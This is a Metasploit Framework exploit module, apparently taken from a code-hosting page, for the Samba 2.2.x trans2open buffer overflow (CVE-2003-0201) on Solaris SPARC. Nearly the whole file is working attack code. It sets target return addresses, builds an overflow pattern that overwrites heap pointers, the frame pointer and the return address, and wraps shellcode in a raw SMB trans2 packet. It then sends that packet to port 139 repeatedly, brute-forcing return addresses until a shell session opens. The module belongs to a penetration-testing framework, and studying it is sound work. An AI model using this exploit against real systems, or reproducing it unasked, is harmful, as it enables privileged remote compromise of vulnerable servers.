155 lines
4.2 KiB
Ruby
155 lines
4.2 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::SMB
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Samba trans2open Overflow (Solaris SPARC)',
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'Description' => %q{
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This exploits the buffer overflow found in Samba versions
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2.2.0 to 2.2.8. This particular module is capable of
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exploiting the flaw on Solaris SPARC systems that do not
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have the noexec stack option set. Big thanks to MC and
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valsmith for resolving a problem with the beta version of
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this module.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2003-0201'],
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[ 'OSVDB', '4469'],
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[ 'BID', '7294'],
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[ 'URL', 'http://www.digitaldefense.net/labs/advisories/DDI-1013.txt'],
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[ 'MIL', '55'],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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'MinNops' => 512,
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},
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'Platform' => 'solaris',
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'Targets' =>
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[
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["Samba 2.2.x Solaris 9 (sun4u)",
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{
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'Arch' => ARCH_SPARC,
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'Rets' => [0xffbffaf0, 0xffbfa000, 128, 0xffbffffc],
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},
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],
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["Samba 2.2.x Solaris 7/8 (sun4u)",
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{
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'Arch' => ARCH_SPARC,
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'Rets' => [0xffbefaf0, 0xffbea000, 128, 0xffbefffc],
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}
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],
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],
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'DisclosureDate' => 'Apr 7 2003'
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))
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register_options(
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[
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Opt::RPORT(139)
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], self.class)
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end
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def exploit
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curr_ret = target['Rets'][0]
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while (curr_ret >= target['Rets'][1])
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break if session_created?
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begin
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print_status("Trying return address 0x%.8x..." % curr_ret)
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connect
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smb_login
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#
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# The obstacle course:
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# outsize = smb_messages[type].fn(conn, inbuf,outbuf,size,bufsize);
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# smb_dump(smb_fn_name(type), 0, outbuf, outsize);
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# return(outsize);
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#
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# This value *must* be 1988 to allow findrecv shellcode to work
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pattern = rand_text_english(1988)
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#
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# This was tested against sunfreeware samba 2.2.7a / solaris 9 / sun4u
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#
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# Patch the overwritten heap pointers
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# substr($pattern, 1159, 4, pack('N', $target->[4]));
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# substr($pattern, 1163, 4, pack('N', $target->[4]));
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#
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# >:-) smb_messages[ (((type << 1) + type) << 2) ] == 0
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# substr($pattern, 1195, 4, pack('N', 0xffffffff));
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#
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# Fix the frame pointer (need to check for null in address)
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# substr($pattern, 1243, 4, pack('N', $target->[3]-64));
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#
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# Finally set the return address
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# substr($pattern, 1247, 4, pack('N', $curr_ret));
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#
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#
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# This method is more reliable against a wider range of targets
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#
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# Local variable pointer patches for early versions of 2.2.x
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pattern[1103, 36] = [target['Rets'][3] - 1024].pack('N') * 9
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# Overwrite heap pointers with a ptr to NULL at the top of the stack
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pattern[1139, 40] = [target['Rets'][3] - 1024].pack('N') * 10
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# Patch the type index into the smb_messages[] array...
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# >:-) smb_messages[ (((type << 1) + type) << 2) ] == 0
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pattern[1179, 20] = [0xffffffff].pack('N') * 5
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# This stream covers the framepointer and the return address
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pattern[1199, 400] = [curr_ret].pack('N') * 100
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# Stuff the shellcode into the request
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pattern[3, payload.encoded.length] = payload.encoded
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trans =
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"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+
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"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+
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"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+
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pattern
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sock.put(trans)
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handler
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rescue EOFError
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rescue => e
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break
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end
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curr_ret -= target['Rets'][2]
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end
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end
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end
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